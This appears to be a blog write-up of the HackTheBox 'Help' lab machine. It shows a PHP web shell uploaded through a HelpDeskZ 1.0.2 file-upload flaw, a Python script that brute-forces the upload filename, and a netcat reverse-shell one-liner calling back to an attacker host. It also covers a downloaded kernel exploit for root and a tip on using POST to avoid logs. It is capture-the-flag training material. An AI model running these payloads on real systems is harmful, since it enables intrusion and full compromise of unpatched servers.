HackTheBox Help write-up

(Difficulty: Easy)

Reconnaissance


PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
nmap -A -v -sS -f -T4 -p- -oN nmap.txt 10.10.10.121

As there is an HTTP server I enumerated common directories

==================================================================
ID   Response   Lines      Word         Chars          Payload
==================================================================

017456:  C=200     96 L      236 W         4453 Ch        "support"
wfuzz -L --hc 404,403 -t 5 -w /usr/share/wordlists/dirb/big.txt http://10.10.10.121/FUZZ
http://10.10.10.121/support

This shows a HelpDeskZ support application. I try common credentials but I am unable to authenticate. There does appear to be an option to submit tickets anonymously which can potentially be a SQLI, XSS, file upload, or RCE vector. A quick search for vulnerabilities reveals a potential Arbitrary file upload vulnerability, provided that this is the right version. After some quick research to verify my theory, I find a file on the Github page for this application which discloses the version and confirms my theory as it was not deleted and served in the web root of that application

http://10.10.10.121/support/UPGRADING.txt
Welcome to HelpDeskZ 1.0.2

I prepare a very simple PHP reverse shell backdoor file

<?php system($_REQUEST['cmd']);?>
evil.php
http://10.10.10.121/support/?v=submit_ticket&action=displayForm

I submit my ticket with the PHP backdoor only to get an error

File is not allowed.

But if you look at the source code you will see that the file gets uploaded. To understand the vulnerability that I am exploiting you can look into the ticket controller file in HelpDeskZ's source code

git clone https://github.com/evolutionscript/HelpDeskZ-1.0 helpdeskz

I notice this line which performs the upload (PHP move_uploaded_file function) and then checks for issues such as illegal file extensions in the lines after...

if (!move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadedfile)) {
sed '144,144!d' helpdeskz/controllers/submit_ticket_controller.php

The area of code responsible for the file names that are predictable enough for me to bruteforce

$uploaddir = UPLOAD_DIR.'tickets/';
if($_FILES['attachment']['error'] == 0){
    $ext = pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION);
    $filename = md5($_FILES['attachment']['name'].time()).".".$ext;
sed '138,141!d' helpdeskz/controllers/submit_ticket_controller.php

Now where exactly is UPLOAD_DIR?

define('UPLOAD_DIR','../uploads/');
cat helpdeskz/includes/pipe.php | grep 'UPLOAD_DIR'

So the file is uploaded to http://10.10.10.121/support/uploads/tickets/

And the file's name is going to be the MD5 checksum of the filename append to the current epoch time with the file extension.

This exploit relies on brute forcing the epoch timestamp that is used in the hashing process to generate the file name for the attachment. The server relies on its local time to generate that and that is accounted for in the script

For those curious, this is one manual way to discover the server's broadcasted time in the headers curl -s -I http://10.10.10.121/support/ | grep 'Date'

Date: Sat, 08 Jun 2019 01:46:12 GMT

Foothold


I setup my netcat listener

nc -nvlp 443

I modified the official PoC that I found to work seamlessly in this context for a bash subshell. While I changed a few things, the true credit goes to their respective authors and those who contributed to the PoC and the discovery of the CVE.

import hashlib
import time
import sys
import requests
import datetime
if len(sys.argv) != 3:
    print('Usage: exploit.py <url> <file>')
    sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
r = requests.get(helpdeskzBaseUrl)
currentTime = int((datetime.datetime.strptime(r.headers['date'], '%a, %d %b %Y %H:%M:%S %Z') - datetime.datetime(1970,1,1)).total_seconds())
for x in range(0, 600):
    plaintext = fileName + str(currentTime - x)
    md5hash = hashlib.md5(plaintext.encode('utf-8')).hexdigest()
    url = helpdeskzBaseUrl + md5hash + '.php'
    response = requests.head(url)
    if response.status_code != 404:
        print(url)
        sys.exit(0)

After some tests, the installed version of netcat on that server does not support the execute (-e) flag so I will use a piped reverse shell instead. This is a very loaded "one-liner" which may be confusing for some of you so I will explain what it does in a moment. This script should be executed within a short time of upload the backdoor PHP file (10 minute maximum rewind in the script) as it has to brute-force the epoch seconds in reverse to find the URL of the backdoor.

curl -X POST --data-urlencode 'cmd=/dev/shm/nGywZssK;mkfifo /dev/shm/nGywZssK;cat /dev/shm/nGywZssK|/bin/sh -i 2>1|nc 10.0.0.0 443 >/dev/shm/nGywZssK' $(python3 exploit.py http://10.10.10.121/support/uploads/tickets/ evil.php)

The PHP shell I wrote uses REQUEST which accepts POST or GET but I like using POST because POST request data does not show up in logs in most default setups. The request has to be url-encoded (ex. spaces become %20 and so on) so I use --data-urlencode to prevent HTTP issues. I then use my piped reverse shell to connect back to me on port 443. I used a bash subshell to feed the brute-forced URL to curl which will then send my command to the PHP backdoor.

My netcat listener caught a shell from help.

I will upgrade my shell to a psuedo-terminal python3 -c 'import pty;pty.spawn("/bin/bash")'

Then I upgrade my psuedo-terminal to a fully interactive terminal

Ctrl + Z

stty -echo raw

fg

export TERM=xterm && clear

Privilege escalation


There are potentially multiple ways to get root.

The quick and easy way was to use a kernel exploit that came out close to a month after the machine was live. As that did not impact the validity of this machine I consider it to be a solution for privilege escalation.

uname -r

4.4.0-116-generic

searchsploit 4.4.0-116

Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation

I grab the PoC and serve it to the client machine using the SimpleHTTPServer module

cd /tmp && searchsploit -m 44298 && python -m SimpleHTTPServer 80

And I download, compile, and execute it on the client to get root

wget -O /dev/shm/evil.c http://10.0.0.0/44298.c && gcc -o /dev/shm/evil.elf /dev/shm/evil.c && /dev/shm/evil.elf

Finally to get the flags cat /home/help/user.txt /root/root.txt

Author image
I like popping shells and setting up cloud stuff

Recent Posts

HackTheBox Fortune write-up
September 07, 2019
HackTheBox Netmon write-up
June 30, 2019
HackTheBox Querier write-up
June 22, 2019
HackTheBox Help write-up
June 08, 2019